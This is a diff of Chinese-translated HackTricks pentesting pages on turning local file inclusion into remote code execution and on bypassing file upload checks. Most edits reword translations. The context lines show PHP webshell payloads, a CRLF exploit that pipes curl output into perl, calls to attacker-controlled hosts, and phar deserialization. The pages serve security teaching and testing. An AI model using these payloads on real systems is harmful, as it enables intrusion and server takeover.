@@ -429,7 +429,7 @@ assert("strpos('$file', '..') === false") or die("");
 > [!WARNING]
 > 请注意，**如果您使用双引号**而不是**单引号**来表示shell，双引号将被修改为字符串"_**quote;**_"，**PHP将在那里抛出一个错误**，并且**不会执行其他任何内容**。
 >
-> 此外，请确保**正确编写有效负载**，否则每次PHP尝试加载日志文件时都会出错，您将没有第二次机会。
+> 此外，请确保**正确编写有效负载**，否则PHP每次尝试加载日志文件时都会出错，您将没有第二次机会。
 
 这也可以在其他日志中完成，但**请小心，**日志中的代码可能会被URL编码，这可能会破坏Shell。头部**授权 "basic"**包含Base64中的"user:password"，并在日志中解码。PHPShell可以插入到此头部中。\
 其他可能的日志路径：
@@ -517,7 +517,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
 ### 通过 php 过滤器（不需要文件）
 
-这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意 php 代码** 进行包含 **而不需要将其写入** 文件。
+这个 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入** 文件。
 
 {{#ref}}
 lfi2rce-via-php-filters.md
@@ -563,7 +563,7 @@ lfi2rce-via-temp-file-uploads.md
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-以下利用CRLF漏洞获取RCE（来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)）：
+以下内容利用CRLF漏洞获取RCE（来自[**这里**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)）：
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@@ -572,7 +572,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
 ```
 ### 通过 phpinfo() (file_uploads = on)
 
-如果你发现了 **Local File Inclusion** 和一个暴露 **phpinfo()** 的文件，且 file_uploads = on，你可以获得 RCE：
+如果你发现了 **Local File Inclusion** 并且有一个暴露 **phpinfo()** 的文件，且 file_uploads = on，你可以获得 RCE：
 
 {{#ref}}
 lfi2rce-via-phpinfo.md
@@ -580,7 +580,7 @@ lfi2rce-via-phpinfo.md
 
 ### 通过 compress.zlib + `PHP_STREAM_PREFER_STUDIO` + 路径泄露
 
-如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径**，但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**，你可以尝试通过这个 **竞争条件** 来 **绕过该检查**：
+如果你发现了 **Local File Inclusion** 并且你 **可以提取临时文件的路径** 但 **服务器** 正在 **检查** 要包含的 **文件是否有 PHP 标记**，你可以尝试通过这个 **竞争条件** 来 **绕过该检查**：
 
 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -596,7 +596,7 @@ lfi2rce-via-eternal-waiting.md
 
 ### 到致命错误
 
-如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。（你需要包含同一个文件 2 次以引发该错误）。
+如果你包含任何文件 `/usr/bin/phar`、`/usr/bin/phar7`、`/usr/bin/phar.phar7`、`/usr/bin/phar.phar`。 (你需要包含同一个文件 2 次以引发该错误)。
 
 **我不知道这有什么用，但可能有用。**\
 &#xNAN;_&#x45;即使你导致 PHP 致命错误，上传的 PHP 临时文件也会被删除。_
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
index 6da3faacf..5732d48e5 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -12,7 +12,7 @@ file_get_contents("compress.zlib://http://attacker.com/file")
 ```
 将发送请求，询问 http://attacker.com/file，然后服务器可能会用有效的 HTTP 响应来响应请求，保持连接打开，并在稍后发送额外的数据，这些数据也将写入文件。
 
-您可以在 php-src 代码的 main/streams/cast.c 的这一部分看到该信息：
+您可以在 php-src 代码的 main/streams/cast.c 中看到该信息：
 ```c
 /* Use a tmpfile and copy the old streams contents into it */
 
@@ -28,11 +28,11 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
 
 攻击者将使 **受害者服务器打开一个连接，从攻击者的服务器读取文件**，使用 **`compress.zlib`** 协议。
 
-**在**这个 **连接** 存在的同时，攻击者将 **提取临时文件的路径**（它被服务器泄露）。
+**在**这个 **连接** 存在的同时，攻击者将 **提取临时文件的路径**（服务器泄露了它）。
 
 **在**这个 **连接** 仍然打开的情况下，攻击者将 **利用 LFI 加载他控制的临时文件**。
 
-然而，web 服务器中有一个检查 **防止加载包含 `<?`** 的文件。因此，攻击者将利用 **竞争条件**。在仍然打开的连接中，**攻击者** 将 **在** **webserver** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 负载，但 **在加载其内容之前**。
+然而，web 服务器中有一个检查 **防止加载包含 `<?`** 的文件。因此，攻击者将利用 **竞争条件**。在仍然打开的连接中，**攻击者** 将 **在** **web 服务器** **检查** 文件是否包含禁止字符 **之后** 发送 PHP 有效负载，但 **在** 它加载内容 **之前**。
 
 有关更多信息，请查看竞争条件和 CTF 的描述 [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
 
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
index 3be27223f..ec9d0b549 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
@@ -8,7 +8,7 @@
 
 在本地文件包含中，**如果你设法包含那个上传的文件，你将获得 RCE**。
 
-请注意，默认情况下，**PHP 仅允许在单个请求中上传 20 个文件**（在 `/etc/php/<version>/apache2/php.ini` 中设置）：
+请注意，默认情况下 **PHP 只允许在单个请求中上传 20 个文件**（在 `/etc/php/<version>/apache2/php.ini` 中设置）：
 ```
 ; Maximum number of files that can be uploaded via a single request
 max_file_uploads = 20
@@ -17,7 +17,7 @@ max_file_uploads = 20
 
 ### 其他技术
 
-其他技术依赖于攻击 PHP 协议（如果您只控制路径的最后部分，将无法进行攻击）、披露文件路径、滥用预期文件，或**使 PHP 遭受分段错误，以便上传的临时文件不会被删除**。\
+其他技术依赖于攻击 PHP 协议（如果您只控制路径的最后部分，则无法进行攻击）、披露文件路径、滥用预期文件，或**使 PHP 遭受分段故障，以便上传的临时文件不会被删除**。\
 这种技术**与最后一种非常相似，但不需要找到零日漏洞**。
 
 ### 永久等待技术
@@ -27,8 +27,8 @@ max_file_uploads = 20
 **这种技术的优点**：
 
 - 您只需控制包含中的相对路径
-- 不需要 nginx 或意外的日志文件访问级别
-- 不需要零日漏洞来导致分段错误
+- 不需要 nginx 或意外的访问日志文件的级别
+- 不需要零日漏洞来导致分段故障
 - 不需要路径披露
 
 这种技术的**主要问题**是：
@@ -56,7 +56,7 @@ include("/sys/kernel/security/apparmor/revision");
 
 让我们做一些数学计算：
 
-- 我们可以使用 **149 个连接** 生成 **149 \* 20 = 2980 个临时文件**，通过我们的 webshell。
+- 我们可以使用 **149 个连接** 来生成 **149 \* 20 = 2980 个临时文件**，通过我们的 webshell。
 - 然后，使用 **最后一个连接** 来 **暴力破解** 潜在文件。
 - 以 **10 请求/秒** 的速度，时间为：
 - 56800235584 / 2980 / 10 / 3600 \~= **530 小时**（265 小时有 50% 的机会）
@@ -69,10 +69,10 @@ include("/sys/kernel/security/apparmor/revision");
 
 ## PHP-FMP
 
-如果不使用常规的 php mod 来运行 PHP 脚本，而是 **网页使用** **PHP-FMP**（这提高了网页的效率，因此常常可以找到它），还有其他方法可以改善该技术。
+如果不是使用常规的 php mod 来运行 PHP 脚本，而是 **网页使用** **PHP-FMP**（这提高了网页的效率，因此常常可以找到），还有其他方法可以改进该技术。
 
 PHP-FMP 允许 **配置** **参数** **`request_terminate_timeout`** 在 **`/etc/php/<php-version>/fpm/pool.d/www.conf`** 中。\
-该参数指示 **请求 PHP 时必须终止的最大秒数**（默认无限，但 **如果参数未注释则为 30 秒**）。当请求被 PHP 处理时，达到指定的秒数后，它会被 **终止**。这意味着，如果请求正在上传临时文件，因为 **PHP 处理被停止**，那些 **文件不会被删除**。因此，如果您可以使请求持续该时间，您可以 **生成成千上万的临时文件**，这些文件不会被删除，这将 **加快查找它们的过程**，并减少通过消耗所有连接对平台造成 DoS 的可能性。
+该参数指示 **请求 PHP 时必须终止的最大秒数**（默认无限，但 **如果参数未注释则为 30 秒**）。当请求被 PHP 处理时，达到指定的秒数后，它会被 **终止**。这意味着，如果请求正在上传临时文件，因为 **PHP 处理被停止**，那些 **文件将不会被删除**。因此，如果您能让请求持续那么长时间，您可以 **生成成千上万的临时文件**，这些文件不会被删除，这将 **加快查找它们的过程**，并减少通过消耗所有连接对平台造成 DoS 的概率。
 
 因此，为了 **避免 DoS**，假设 **攻击者将同时使用 100 个连接**，而 PHP 的最大处理时间通过 **php-fmp**（`request_terminate_timeout`**）** 是 **30 秒**。因此，**每秒** 可以生成的 **临时文件** 数量为 `100*20/30 = 66.67`。
 
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
index 7e9e03911..b75faff7f 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@@ -4,7 +4,7 @@
 
 ## Intro
 
-这篇 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而无需将其写入** 文件中。
+这篇 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入文件**。
 
 基本上，脚本的目标是在文件的 **开头** 生成一个 **Base64** 字符串，最终将被 **解码**，提供所需的有效载荷，**将被 `include` 解释**。
 
@@ -17,12 +17,12 @@
 
 1. 按照上述描述在我们的字符串前添加 `\x1b$)C`
 2. 应用一些 iconv 转换链，使我们的初始 base64 保持不变，并将我们刚刚添加的部分转换为只有下一个部分的有效 base64 字符的字符串
-3. 对字符串进行 base64 解码和再编码，这将去除中间的任何垃圾
-4. 如果我们想构造的 base64 还没有完成，则返回到第 1 步
+3. 对字符串进行 base64 解码和编码，这将去除中间的任何垃圾
+4. 如果我们想构造的 base64 还没有完成，则返回第 1 步
 5. 进行 base64 解码以获取我们的 php 代码
 
 > [!WARNING]
-> **包含** 通常会做一些事情，比如 **在文件末尾附加 ".php"**，这可能会使利用变得困难，因为你需要找到一个内容不会破坏利用的 .php 文件……或者你 **可以直接使用 `php://temp` 作为资源**，因为它可以 **在名称中附加任何内容**（例如 +".php"），并且仍然允许利用工作！
+> **包含** 通常会在文件末尾 **附加 ".php"**，这可能会使利用变得困难，因为你需要找到一个内容不会破坏利用的 .php 文件……或者你 **可以直接使用 `php://temp` 作为资源**，因为它可以 **在名称中附加任何内容**（例如 +".php"），并且仍然允许利用工作！
 
 ## 如何将后缀添加到结果数据
 
@@ -31,7 +31,7 @@
 ## 自动工具
 
 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
-- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
+- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **（可以添加后缀）**
 
 ## 完整脚本
 ```python
@@ -95,7 +95,7 @@ print(r.text)
 ```
 ### 改进
 
-之前的脚本仅限于该有效负载所需的 base64 字符。因此，我创建了自己的脚本来 **暴力破解所有的 base64 字符**：
+之前的脚本仅限于该有效负载所需的 base64 字符。因此，我创建了自己的脚本来 **暴力破解所有 base64 字符**：
 ```php
 conversions = {
 '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@@ -164,7 +164,7 @@ conversions = {
 '=': ''
 }
 ```
-这里是获取生成每个 b64 字母的编码的 **脚本**：
+这里是**脚本**，用于获取生成每个 b64 字母的编码：
 ```php
 <?php
 
@@ -252,7 +252,4 @@ find_vals($init);
 ```
 ## 更多参考
 
-- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
-
-
-{{#include ../../banners/hacktricks-training.md}}
+- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
index 920d05219..97ba24141 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@@ -18,15 +18,15 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
 
 如果在PHP中允许上传文件，并且你尝试上传一个文件，这个文件会存储在一个临时目录中，直到服务器处理完请求，然后这个临时文件会被删除。
 
-然后，如果你在web服务器中发现了LFI漏洞，你可以尝试猜测创建的临时文件的名称，并在文件被删除之前通过访问临时文件来利用RCE。
+然后，如果你在web服务器中发现了LFI漏洞，你可以尝试猜测创建的临时文件的名称，并通过在文件被删除之前访问临时文件来利用RCE。
 
 在**Windows**中，文件通常存储在**C:\Windows\temp\php**
 
-在**linux**中，文件的名称通常是**随机的**，并位于**/tmp**。由于名称是随机的，需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内部的**变量$\_FILES**的值来完成。
+在**linux**中，文件的名称通常是**随机的**，并位于**/tmp**。由于名称是随机的，需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
 
 **phpinfo()**
 
-**PHP**使用**4096B**的缓冲区，当它**满**时，它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**（使用大头部）**上传一个php**反向**shell**，等待**phpinfo()的第一部分被返回**（其中包含临时文件的名称），并尝试在php服务器删除文件之前**访问临时文件**，利用LFI漏洞。
+**PHP**使用**4096B**的缓冲区，当它**满**时，它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**（使用大头部）**上传一个php**反向**shell**，等待**phpinfo()的第一部分返回**（其中包含临时文件的名称），并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
 
 **Python脚本尝试暴力破解名称（如果长度=6）**
 ```python
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
index 1cca5dbeb..71def0f3c 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
@@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
 // PHP 7.2
 include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
 ```
-您应该知道，如果您**发送**一个**POST**请求**包含**一个**文件**，PHP将会在`/tmp/php<something>`中创建一个**临时文件**，其内容为该文件的内容。该文件将在请求处理完毕后**自动删除**。
+您应该知道，如果您**发送**一个**POST**请求**包含**一个**文件**，PHP将会在`/tmp/php<something>`中创建一个**临时文件**，其内容为该文件的内容。这个文件将在请求处理完毕后**自动删除**。
 
-如果您发现了**LFI**并且成功**触发**了PHP中的段错误，**临时文件将永远不会被删除**。因此，您可以利用**LFI**漏洞**搜索**该文件，直到找到它并执行任意代码。
+如果您发现了**LFI**并且成功**触发**了PHP中的段错误，**临时文件将永远不会被删除**。因此，您可以利用**LFI**漏洞**搜索**它，直到找到并执行任意代码。
 
 您可以使用docker镜像[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)进行测试。
 ```python
diff --git a/src/pentesting-web/file-inclusion/phar-deserialization.md b/src/pentesting-web/file-inclusion/phar-deserialization.md
index ec5ad41d2..93b0bbbac 100644
--- a/src/pentesting-web/file-inclusion/phar-deserialization.md
+++ b/src/pentesting-web/file-inclusion/phar-deserialization.md
@@ -6,7 +6,7 @@
 
 这个特性的最佳之处在于，即使使用不执行PHP代码的PHP函数，如**file_get_contents()、fopen()、file()或file_exists()、md5_file()、filemtime()或filesize()**，也会发生这种反序列化。
 
-所以，想象一个情况，你可以让一个PHP网页使用**`phar://`**协议获取任意文件的大小，并且在代码中你发现一个类似于以下的**类**：
+所以，想象一个情况，你可以让一个PHP网页使用**`phar://`**协议获取任意文件的大小，并且在代码中你发现一个类似于以下的**class**：
 ```php:vunl.php
 <?php
 class AnyClass {
@@ -22,7 +22,7 @@ system($this->data);
 
 filesize("phar://test.phar"); #The attacker can control this path
 ```
-您可以创建一个 **phar** 文件，当加载时将 **滥用此类以执行任意命令**，例如：
+您可以创建一个 **phar** 文件，当加载时将 **利用此类执行任意命令**，例如：
 ```php:create_phar.php
 <?php
 
diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
index 43175d60c..6082f98ae 100644
--- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
+++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
@@ -4,7 +4,7 @@
 
 ## 基本信息
 
-如果你发现了一个 **Local File Inclusion**，即使你 **没有会话** 且 `session.auto_start` 为 `Off`。如果 **`session.upload_progress.enabled`** 为 **`On`** 并且你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**，PHP 将 **为你启用会话**。
+如果你发现了一个 **Local File Inclusion**，即使你 **没有会话** 且 `session.auto_start` 为 `Off`。如果 **`session.upload_progress.enabled`** 为 **`On`**，并且你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**，PHP 将 **为你启用会话**。
 ```bash
 $ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
 $ ls -a /var/lib/php/sessions/
@@ -21,15 +21,15 @@ In the last example the session will contain the string blahblahblah
 注意，使用 **`PHP_SESSION_UPLOAD_PROGRESS`** 你可以 **控制会话中的数据**，因此如果你包含了你的会话文件，你可以包含一个你控制的部分（例如一个 php shellcode）。
 
 > [!NOTE]
-> 尽管互联网上的大多数教程建议你将 `session.upload_progress.cleanup` 设置为 `Off` 以便于调试，但 PHP 中默认的 `session.upload_progress.cleanup` 仍然是 `On`。这意味着你的上传进度将在会话中尽快被清除。因此这将是 **竞争条件**。
+> 尽管互联网上的大多数教程建议你将 `session.upload_progress.cleanup` 设置为 `Off` 以便于调试，但 PHP 中默认的 `session.upload_progress.cleanup` 仍然是 `On`。这意味着你的上传进度将在尽可能快的时间内被清理。因此这将是 **竞争条件**。
 
 ### CTF
 
-在 [**原始 CTF**](https://blog.orange.tw/2018/10/) 中，评论了这种技术，利用竞争条件并不足够，加载的内容也需要以字符串 `@<?php` 开头。
+在 [**原始 CTF**](https://blog.orange.tw/2018/10/) 中，评论了这种技术，利用竞争条件并不足够，但加载的内容也需要以字符串 `@<?php` 开头。
 
 由于 `session.upload_progress.prefix` 的默认设置，我们的 **SESSION 文件将以一个烦人的前缀** `upload_progress_` 开头，例如：`upload_progress_controlledcontentbyattacker`
 
-**去除初始前缀** 的技巧是 **将有效载荷进行 3 次 base64 编码**，然后通过 `convert.base64-decode` 过滤器解码，这是因为在 **base64 解码时 PHP 会去除奇怪的字符**，因此经过 3 次后 **仅** 会 **保留** 攻击者 **发送的有效载荷**（然后攻击者可以控制初始部分）。
+**去除初始前缀** 的技巧是 **将有效载荷进行 3 次 base64 编码**，然后通过 `convert.base64-decode` 过滤器解码，这是因为在 **base64 解码时 PHP 会去除奇怪的字符**，因此经过 3 次 **仅** 会 **保留** 攻击者 **发送的有效载荷**（然后攻击者可以控制初始部分）。
 
 更多信息请参见原始写作 [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) 和最终利用 [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
 另一个写作在 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index 5979b7190..ecd99b876 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -2,7 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
 ## 文件上传一般方法论
 
 其他有用的扩展名：
@@ -46,7 +45,7 @@
 - _file.php%00.png%00.jpg_
 6. 尝试将**执行扩展名放在有效扩展名之前**，并祈祷服务器配置错误。（对利用Apache配置错误很有用，任何带有扩展名**_**.php**_**的内容，但不一定以.php**_**结尾的内容将执行代码）：
 - _例如: file.php.png_
-7. 在**Windows**中使用**NTFS备用数据流（ADS）**。在这种情况下，冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此，将在服务器上创建一个**带有禁止扩展名的空文件**（例如“file.asax:.jpg”）。该文件可以使用其他技术进行编辑，例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
+7. 在**Windows**中使用**NTFS备用数据流（ADS）**。在这种情况下，冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此，将在服务器上创建一个**带有禁止扩展名的空文件**（例如“file.asax:.jpg”）。该文件可以稍后使用其他技术进行编辑，例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此，在此模式后添加一个点字符也可能有助于绕过进一步的限制（例如“file.asp::$data.”）
 8. 尝试打破文件名限制。有效扩展名被截断，恶意PHP被保留。AAA<--SNIP-->AAA.php
 
 ```
@@ -62,18 +61,18 @@ AAA<--SNIP 232 A-->AAA.php.png
 
 ### 绕过内容类型、魔术数字、压缩和调整大小
 
-- 通过将**Content-Type** **头**的**值**设置为：_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
+- 通过将**Content-Type** **头**的**值**设置为以下内容来绕过**Content-Type**检查：_image/png_ , _text/plain , application/octet-stream_
 1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
 - 通过在文件开头添加**真实图像的字节**（混淆_file_命令）来绕过**魔术数字**检查。或者在**元数据**中引入shell：\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
 `\` 或者你也可以**直接在图像中引入有效载荷**：\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
 - 如果**压缩被添加到你的图像中**，例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php)，那么之前的技术将无效。然而，你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本，使其**在压缩中存活**。
-- [**带有代码的Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
+- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
 - 网页也可能在**调整图像大小**，例如使用PHP-GD函数`imagecopyresized`或`imagecopyresampled`。然而，你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本，使其**在压缩中存活**。
-- [**带有代码的Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
+- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
 - 另一种制作**在图像调整大小中存活的有效载荷**的技术，使用PHP-GD函数`thumbnailImage`。然而，你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本，使其**在压缩中存活**。
-- [**带有代码的Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
+- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
 
 ### 其他检查技巧
 
@@ -82,11 +81,11 @@ AAA<--SNIP 232 A-->AAA.php.png
 - **可能的信息泄露**：
 1. **多次**（并且在**同一时间**）上传**同一文件**，使用**相同的名称**
 2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
-3. 上传一个文件，其名称为**“.”、 “..”或“…”**。例如，在Apache的**Windows**中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
-4. 上传一个可能不容易被删除的文件，例如**“…:.jpg”**在**NTFS**中。（Windows）
-5. 在**Windows**中上传一个文件，其名称中包含**无效字符**，例如`|<>*?”`。（Windows）
-6. 在**Windows**中上传一个文件，使用**保留**（**禁止**）**名称**，例如CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8和LPT9。
-- 还可以尝试**上传一个可执行文件**（.exe）或一个**.html**（不太可疑），当受害者意外打开时**将执行代码**。
+3. 上传一个**“.”、 “..”或“…”作为其名称**的文件。例如，在Apache的**Windows**中，如果应用程序将上传的文件保存在“/www/uploads/”目录中，“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
+4. 上传一个可能不容易删除的文件，例如**“…:.jpg”**在**NTFS**中。（Windows）
+5. 在**Windows**中上传一个带有**无效字符**的文件，例如`|<>*?”`作为其名称。（Windows）
+6. 在**Windows**中上传一个使用**保留**（**禁止**）**名称**的文件，例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
+- 还可以尝试**上传一个可执行文件**（.exe）或一个**.html**（不太可疑），当被受害者意外打开时**将执行代码**。
 
 ### 特殊扩展名技巧
 
@@ -127,13 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-有效负载的执行发生在配置文件解析期间。为了激活和解析配置，uWSGI 进程必须被重启（可能是在崩溃后或由于拒绝服务攻击）或文件必须设置为自动重载。如果启用了自动重载功能，在检测到更改时会在指定的时间间隔内重新加载文件。
+有效负载的执行发生在配置文件解析期间。为了激活和解析配置，uWSGI 进程必须重新启动（可能是在崩溃后或由于拒绝服务攻击）或文件必须设置为自动重载。如果启用自动重载功能，在检测到更改时会在指定的时间间隔内重新加载文件。
 
 理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说，讨论的有效负载可以插入到二进制文件中（例如图像或 PDF），进一步扩大潜在利用的范围。
 
 ## **wget 文件上传/SSRF 技巧**
 
-在某些情况下，您可能会发现服务器正在使用 **`wget`** 来 **下载文件**，并且您可以 **指示** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单中，以确保仅下载允许的文件。然而，**此检查可以被绕过。**\
+在某些情况下，您可能会发现服务器使用 **`wget`** 来 **下载文件**，并且您可以 **指示** **URL**。在这些情况下，代码可能会检查下载文件的扩展名是否在白名单中，以确保仅下载允许的文件。然而，**此检查可以被绕过。**\
 **linux** 中 **文件名** 的 **最大** 长度为 **255**，但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件，这个文件名将 **绕过** **检查**（因为在这个例子中 **".gif"** 是一个 **有效** 扩展名），但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
 ```bash
 #Create file and HTTP server
@@ -219,7 +218,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### 在不同文件夹中解压
 
-在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行，但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制，通过操纵目标应用程序的解压功能逃离安全上传目录。
